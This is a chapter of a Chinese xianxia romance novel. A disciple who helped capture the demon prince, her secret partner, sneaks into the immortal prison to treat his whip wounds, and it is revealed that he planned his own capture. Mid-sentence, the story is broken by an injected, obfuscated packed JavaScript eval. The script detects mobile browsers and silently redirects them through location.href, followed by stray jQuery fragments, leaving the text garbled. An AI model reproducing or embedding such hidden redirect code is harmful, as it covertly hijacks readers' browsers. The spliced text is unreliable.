凌玄长老门下五师妹——雪月,率众弟子擒获魔族少主,立下汗马功劳。
此事为仙门所津津乐道,无人不夸耀其胆识过人、实力深厚,不愧为仙门大会魁首。
但二人为道侣之事,只有极少数人知晓。
当姜泓、文锦二人听闻此讯,特来恭祝时,雪月却闷闷不乐,窝在角落沉默不语。
“雪月,你向来活泼,如今揽了大功,怎么反倒不开心了?”姜泓疑惑道。
雪月挤出一个笑容:“无他。不过是抓捕耗了好些劲,现今有些疲惫罢了。”
“原来如此。”姜泓信了。
文锦打圆场:“既然雪月你累了,那我们便不多打扰了,你好生歇息。”
姜泓还想说几句,却被文锦拉走了。
屋内又恢复冷寂,雪月坐在木凳上,反复观摩着手中的粉镯与银链。这些是他赠的,她查过,并未藏神识或其他,只是寻常礼物。
其实也未必寻常,粉玉难得,天河的星子更难得。当然,他是魔族少主,大可以吩咐下人去找。
呵。
她忽然觉得可笑,月泽宗几千条性命,为他营造了养尊处优的环境。
“咚咚咚——”
门突然被敲响,雪月匆忙将这些物件藏于梳妆盒中,转身去开门。
原是隐梅来了。
“师姐……”
隐梅将手中木盒置于桌案,从容道:“这是教主令我转交与你的赏赐。”
雪月扫了一眼,走到隐梅身前:“师姐,蓝幽是幽王……他……”
她说的混乱,隐梅道:“你立下大功,不必在意其他。”
“可是……”
雪月眼神闪躲,呼吸越发急促,她尝试逼自己平静下来。隐梅拍着她的肩膀,她顺势扑入她怀中,一抽一抽地低声哭泣。
“师姐……我和他是道侣。”她涕泪纵横,边说边抖着肩,“我骗了他,利用了他赠与我的信物……我……”
闻言,隐梅眸中闪过一丝异色,很快被掩住。她将雪月按住,宽慰道:“他骗你在先,你不过是以牙还牙罢了,不必悔恨。”
“可是我……”雪月心神不定,眼神流离,哽咽道,“我和他成了同一类人,同一类奸邪之人,利用……”
她话尚未说完,便被隐梅拥入怀中。
“雪月,这世间因果本无定数,对错难断,不必耿耿于心。”她声音清冷却温柔,雪月像只得到安抚的小兽,委屈地窝在她怀中,彻底放松下来。
——
蓝幽被押入仙牢已有一段时日,历经数种刑罚威压,自始至终缄口不言,仙族从他口中得不到半点消息。
自那夜起,雪月几乎放弃修炼,她日日窝在房中,不吃不喝,不言不语,麻木地像个尸体。
所幸好友在侧,她虽寡言,但文锦等人轮流慰问,陪她说话解闷,偶尔带些新的情报。
恰如今日,姜泓坐在床边与她闲聊。
而雪月抱膝在床,仅着一身中衣,墨发如瀑披散于腰间。她面色憔悴,眼底一片青淤,身形单薄如纸。
姜泓说了些趣事,又道了些宗门热点:“今日,长老们下令,施以幽王蚀骨鞭之刑,足足八十一道呢!可吓人了!”
听闻此讯,雪月惊愕,爬过来猛地攥住她的衣襟:“为什么!”
姜泓茫然眨眼:“啊?”
“为何加重刑?”她眼眶通红,反应激烈。
“好像是因为他一直不肯开口吧。”姜泓挠着头,“三十六道刑罚都试过了,长老从他嘴里撬不出半个字,有些恼了,便下手重了些。不过也算不了什么,幽王是何种恶人,就算剔骨抽筋也不足为过。”
姜泓说罢,散漫地伸了个懒腰。
雪月怔在原地,声音沙哑:“姜泓师姐,我今日疲了,怕是不能久陪。抱歉。”
方才还聊得开心,现在倏地赶客,姜泓虽疑惑,但见她心力交瘁的模样,也乖乖听话离开了。
待房中只剩她一人,雪月失了力,一头栽倒在枕头上,两行清泪无声滑落。枕畔微凉。
蚀骨鞭的痛,她记得。
五脏六腑快要被撕碎、随时都可能咽气的恐惧,她的身体还记得。每每想起,背上隐隐作痛。
三十道,便足以令她刻骨铭记。
那八十一道呢?会死人的吧。
真的会死的。
当这个想法占据脑海,雪月浑身发抖,她忽然觉得心中有块地方空了。
她恨他,但不能接受他死。
皇天后土在上,别让他死。
——
剑雪宗的仙牢,关押着作奸犯科的弟子或妖兽。其间刑具繁多,看守严苛,布满结界和禁制,饶是一只苍蝇也难以逃出。
而最深处的监牢,单独关押着一个看起来极其无辜的男人——蓝幽。
雪月觉得自己真是疯了,她竟然擅闯仙牢,若是叫长老知晓此事,定会治她重罪。她已经好久没用过“灾灵”了,但要越过看守弟子和结界,且不为人察觉,只能用此下策。
她屏息凝气,借着铁窗中散落的微弱月光,一步步经过各色罪人。所幸有隐身咒在身,他们看不到她。再加之夜色已深,八成犯人都已沉睡,只有余下二成不知在摸索着什么。
她不在乎,她的目标只有一个。
深处的监牢往往关押着最凶恶之人,圈圈法阵铺天盖地锁着,像是要将他们永远封印于此。这处的大牢较为空旷,不过寥寥数人。
她转角多次,终于到达目的地。
雪月停在一处囚室铁栏前,远远观望着那个男人。
已是深冬,铁牢内阴冷潮湿,石壁凝着寒气,地面泥泞脏污,处处透着森然死寂。墙角铺着一层枯寒蒿草,干枯发硬,霉气刺鼻。
蓝幽闭眸静躺于草上,一身素色囚服被道道骇人血痕浸透,早已看不出原貌。他头发散乱,脸色苍白虚弱,整个人瘦了一圈,不知遭了多少罪。若非胸腔尚在起伏,当真像一具凉透的尸体。
他骤然睁眼,朝雪月的方向冷眼一瞥,随即起身,背对着她侧躺。
那一眼冷若冰刃,刀刀割在她心中。
雪月不知他到底能否看到自己。她用了隐身咒,他就算再强,也不该强过“灾灵”。他不可能看到自己。
她倒吸口凉气,抬手施法,在铁笼结界处开辟一道幻影通道。
她进入牢中,解除咒法,现身于此地。每走一步,便发出明显动静,但蓝幽并未回身,仍旧背对着她。
雪月蹲在他身侧,从袖中取出几个药瓶,置于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546286|203464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地面,冷言道:
“我知道你恨我,但你没资格恨我。是你骗我在先,利用在前,你现在遭受的一切,都是咎由自取。我突发善心,为你取来药粉仙丹,就当报当年之恩。”
言罢,她目光凝落在他满身伤痕之上。八十余道鞭痕纵横交错,道道深及白骨,狰狞骇人。翻卷的皮肉与衣物死死粘连,满目疮痍,仅是一眼,便足以窥见当时何等撕心裂肺的痛楚。
她鼻头发酸,强撑着站起身,走到铁栏边。又回头看了一眼,蓝幽并无反应,仍旧保持着方才的姿势,哪里领她的情?
“你记得擦药。”雪月的语气不如方才凌冽,“不擦,你真的会死。当然,你若死了,我最是高兴。”
他并无反应。
她走向通道,又折返回来。
瞧着他这副半死不活的样子,她无端觉得恼。都伤成这样了,还要倔着脾气!
她又回想起当年被他绑在床上强行上药的场景,忽然能理解他那时的愤怒了。毕竟,见到他这副颓丧样,她也想将他五花大绑起来。
她咬了咬牙,伏在他身侧,将他的上衣小心脱了下来。衣料与伤口粘得紧,她费了好大功夫。蓝幽的身子一僵,雪月听见了他吸气的声响,心生悲凉。
原来他也会痛。
没了衣物掩护,他的伤就这般裸露出来,身上无半点好肉,可怜极了。
雪月动作温柔,取出药粉撒在他伤口上。蓝幽全身绷紧,嘶嘶抽气,额头泛起薄汗。她听得心疼,又责骂自己多管闲事。
上完药,雪月俯视着手间那件血迹斑驳、单薄如夏装的囚衣,又扫了眼因疼痛或寒冷,身子小幅度颤抖的蓝幽。她又心软了。
她施法变出一件稍微厚些的白衣,小心为他穿上。他静若木雕,半点不配合,她在心里骂着,所幸最终还是穿上了。
“我不会来了。”雪月走到通道口,最后看了眼蓝幽,“你是死是活,都与我无关!”
她走后,牢中又是一派寂凉沧桑。
蓝幽动了动,拿起了身侧的药瓶,放在手中把玩,唇角一勾。从木窗投射出几缕月光,照在他脸上更显苍凉。
隐梅骤然现身,瞧见他当今的模样,眼中是止不住的心疼。她行礼,恭敬道:“陛下,正如你所料,魔族那边,有动静了。”
“嗯。”蓝幽起身,负手而立,沉声应了一声。
隐梅蹙眉质问:“陛下,属下斗胆问您,为何要擅改计划?分明先前之计乃万全之策,您又何苦择此下策,令自己身陷囹圄、受尽折辱?”
“隐梅。”他厉声斥责,“我的事,还不必向你汇报。”
“属下知错,但……”
隐梅壮着胆走近了些,清冷卓绝的容色却并未叫他起半分怜惜之意。她沉默良久,道:“陛下,您莫非当真爱上了雪月?”
空气凝滞,二人的沉默维持了一刻钟。
“是,我爱她。”蓝幽深吸一气,“那又如何?你是疼惜师妹便心生不满,亦或是认为我会因情乱策?”
“我告诉你,绝无可能!”
他说话时眉头紧皱,似乎十分笃定。
隐梅看着他的眼神,心头一紧。她不知该如何应答,只能俯身行礼,恢复往日的恭敬:
“属下逾矩。”